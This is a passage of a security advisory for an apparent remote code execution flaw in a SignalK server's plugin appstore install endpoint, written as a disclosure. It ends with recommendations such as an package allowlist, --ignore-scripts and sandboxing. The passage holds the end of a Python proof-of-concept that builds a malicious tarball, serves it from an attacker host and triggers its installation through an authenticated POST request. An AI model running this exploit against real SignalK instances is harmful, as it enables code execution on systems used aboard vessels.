Advisory

GHSA-93jc-vqqc-vvvh

Details, part 2 of 2. The advisory

Details

encoded_url = quote(tarball_url, safe='')

url = f"{TARGET}/skServer/appstore/install/signalk-pushover-plugin/{encoded_url}"

headers = {"Authorization": f"Bearer {token}"}

print(f"[*] Triggering installation from {tarball_url}")
r = requests.post(url, headers=headers)
print(f"[+] Response: {r.status_code} - {r.text}")

if __name__ == "__main__":
tarball = create_malicious_tarball()
print(f"[+] Created malicious tarball ({len(tarball)} bytes)")

start_malicious_server(tarball)
trigger_rce(TOKEN)


### Recommendation

1. Restrict package installation to the official npm registry only by validating that version parameters match semver format
2. Use npm's `--ignore-scripts` flag to prevent automatic script execution
3. Implement an allowlist of approved packages
4. Consider sandboxing the package installation process

While we understand that allowing 3rd party plugin installation is an intended functionality we believe that more secure practices must be applied to the whole process given the operational importance a SignalK instance can have onboard a vessel and it's rise in polularity.

Sources & licences